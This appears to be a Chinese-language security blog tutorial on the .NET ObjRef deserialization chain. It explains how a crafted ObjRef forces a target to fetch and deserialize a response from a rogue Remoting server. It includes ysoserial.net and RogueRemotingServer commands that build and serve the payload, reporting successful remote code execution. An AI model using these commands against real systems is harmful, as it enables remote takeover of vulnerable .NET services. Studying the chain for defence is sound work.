14.1.ObjRef链

2024-10-31 16:59   广东  

1.什么是ObjRef

我们先来个省流版分析。要研究这个链子,还是得先回到.NET Remoting。还记得我们前面演示的时候,用于传递的类需要实现一个MarshalByRefObject吗?

MarshalByRefObject、ObjRef以及Remoting机制实际上有着非常密切的关联,而BinaryFormatter或SoapForamtter反序列化过程中,实际上也涉及到一些专门对ObjRef处理的步骤(后续再说)。我们可以看看微软官方给出的调用ObjRef的demo:

前三行代码其实都是在封装一个ObjRef对象,然后后面的RemotingServices.Unmarshal()方法,接受ObjRef类型的对象,得到一个远程对象代理。然后对其调用PrintMessage()方法

在Unmarshal()处理ObjRef对象之后会得到远程对象代理,然后调用PrintMessage()时,会对前面的那个url进行请求,而且请求的格式就是之前提到的HttpChannel客户端发起的请求的格式。也就是说,上述流程实际上会像HttpChannel的客户端一样发起请求,那么拿到响应后理应也会有一个对响应的反序列化流程:

事实证明也的确如此。因此,只要有一个点能给我们调用Unmarshal(),并且其中传入一个恶意ObjRef对象,就可以获得一个远程对象代理,只要再有别的点触发远程对象代理的调用。就可以触发一个HttpChannel请求,最后对响应进行反序列化触发链子,完全称得上JRMP利用的精神续作。

那么哪里有这个点呢?实际上BinaryFormatter或SoapFormatter在对ObjRef进行反序列化的过程中,经过几个调用会调用到ObjRef类的GetRealObject方法,其中又调用GetRealObjectHelper方法

而在GetRealObjectHelper中,就有我们需要的调用,这里会创建远程对象代理

同时,在反序列化外层的Exeception,恢复ClassName时,会调用ToString()触发远程代理调用(X1r0z师傅的图)

这样就会发起一个HttpChannel客户端的请求。

那么我们只需要构造一个恶意ObjRef,将其指向一个恶意的Remoting服务端。当目标对这个恶意ObjRef进行反序列化的时候,最终触发其GetRealObjectHelper,再触发HttpChannel客户端请求。此时目标相当于被迫成为了一个Remoting客户端,对恶意服务端进行一个请求,恶意服务端返回恶意响应,目标再对响应信息进行反序列化,就可以实现一整个攻击流程。原文中有一张很好的图还原了这个流程:

https://codewhitesec.blogspot.com/2022/01/dotnet-remoting-revisited.html

更具体的调用栈可以参考:

https://exp10it.io/2024/02/dotnet-objref-rogueremotingserver-%E5%88%86%E6%9E%90/


2.ObjRef链子利用

这里用ysoserial.net去生成一个ObjRef payload

ysoserial.exe -f BinaryFormatter -g ObjRef -o base64 -c http://127.0.0.1:9744/index.html

这里我们指向恶意服务端地址http://127.0.0.1:9744/index.html

然后生成一个下面这样的Formatter和gadget组合的链子

SoapFormatter+TextFormattingRunProperties

存在MSPanint.soap里

然后参考这个项目:

https://github.com/codewhitesec/RogueRemotingServer

做一个恶意服务端,这个服务端返回MSPanint.soap的payload:

RogueRemotingServer.exe --wrapSoapPayload http://127.0.0.1:9744/index.html MSPaint.soap

对ysoserial.net生成的ObjRef链子进行反序列化

成功RCE


3.参考

https://exp10it.io/2024/02/dotnet-objref-rogueremotingserver-%E5%88%86%E6%9E%90/

HW专项行动小组
大师!教我打攻防
 最新文章